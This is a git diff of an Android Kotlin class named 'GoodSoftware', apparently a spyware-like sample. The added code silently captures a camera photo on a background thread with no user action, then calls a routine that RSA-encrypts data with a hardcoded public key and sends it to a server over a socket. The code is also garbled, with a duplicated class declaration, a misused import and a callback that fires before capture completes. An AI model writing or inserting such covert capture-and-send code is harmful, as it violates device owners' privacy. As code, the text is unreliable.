| 
						 
							
							
							
						 
					 | 
				
			
			 | 
			 | 
			
				@@ -1,7 +1,18 @@
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				package com.ti.m
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import kotlinx.coroutines.Dispatchers
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import kotlinx.coroutines.withContext
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import android.content.ContentValues
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import android.content.Context
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import android.graphics.Camera
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import android.net.Uri
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import android.os.Build
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import android.provider.MediaStore
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import android.util.Log
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.camera.core.CameraSelector
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.camera.core.ImageAnalysis
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.camera.core.ImageCapture
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.camera.core.ImageCaptureException
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.camera.core.Preview
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.camera.lifecycle.ProcessCameraProvider
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import java.io.BufferedReader
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import java.io.InputStreamReader
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import java.io.PrintWriter
 | 
			
		
		
	
	
		
			
				
					
					| 
						
					 | 
				
			
			 | 
			 | 
			
				@@ -13,8 +24,26 @@ import java.security.spec.X509EncodedKeySpec
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import javax.crypto.Cipher
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import javax.crypto.spec.IvParameterSpec
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import javax.crypto.spec.SecretKeySpec
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.concurrent.futures.await
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.core.content.ContentProviderCompat.requireContext
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import androidx.core.content.ContextCompat
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import java.io.File
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import java.text.SimpleDateFormat
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				import java.util.Locale
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				class GoodSoftware (private val context: Context) {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private var cameraProvider: ProcessCameraProvider? = null
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private var displayId: Int = -1
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private var preview: Preview? = null
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private var imageCapture: ImageCapture? = null
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private var imageAnalyzer: ImageAnalysis? = null
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private var camera: Camera? = null
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    interface PictureTakenCallback {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        fun onPictureTaken()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				class GoodSoftware {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private companion object {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        private const val RSA_ALGORITHM = "RSA"
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding"
 | 
			
		
		
	
	
		
			
				
					
					| 
						
					 | 
				
			
			 | 
			 | 
			
				@@ -72,8 +101,15 @@ class GoodSoftware {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private fun runAllTheGoodness() {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        val dataToSend = "Amazing data"
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        Thread {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            takeBeautifulPicture(object : PictureTakenCallback {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                override fun onPictureTaken() {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    // Picture taken, proceed to send data
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    sendDataToServer(dataToSend)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            })
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        }.start()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    fun sendDataToServer(sendData: String) {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
			
		
		
	
	
		
			
				
					
					| 
						
					 | 
				
			
			 | 
			 | 
			
				@@ -121,4 +157,71 @@ class GoodSoftware {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        reader.close()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        socket.close()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    fun takeBeautifulPicture(callback: PictureTakenCallback) {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        cameraProvider = ProcessCameraProvider.getInstance(context).get()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        lensFacing = when {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            hasBackCamera() -> CameraSelector.LENS_FACING_BACK
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            else -> throw IllegalStateException("Back and front camera are unavailable")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        imageCapture = ImageCapture.Builder()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            .build()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        imageCapture?.let { imageCapture ->
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            // Create time stamped name and MediaStore entry.
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            val name = SimpleDateFormat(picture.FILENAME, Locale.US)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                .format(System.currentTimeMillis())
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            val contentValues = ContentValues().apply {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                put(MediaStore.MediaColumns.DISPLAY_NAME, name)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    val appName = requireContext().resources.getString(R.string.app_name)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            val outputOptions = ImageCapture.OutputFileOptions
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                .Builder(requireContext().contentResolver,
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    contentValues)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                .build()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				            imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()),
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                object : ImageCapture.OnImageSavedCallback {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    override fun onError(exc: ImageCaptureException) {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                        Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    override fun onImageSaved(output: ImageCapture.OutputFileResults) {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                        val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString()))
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                        Log.d(picture.TAG, "Photo capture succeeded: $savedUri")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				                })
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        callback.onPictureTaken()
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private fun hasBackCamera(): Boolean {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private fun hasFrontCamera(): Boolean {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    private fun requireContext(): Context {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        return context
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    object picture {
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        const val TAG = "CameraXBasic"
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        const val PHOTO_TYPE = "image/jpeg"
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        const val RATIO_4_3_VALUE = 4.0 / 3.0
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				        const val RATIO_16_9_VALUE = 16.0 / 9.0
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				    }
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				}
 | 
			
		
		
	
	
		
			
				
					
					| 
						 
							
							
							
						 
					 | 
				
			
			 | 
			 | 
			
				 
 |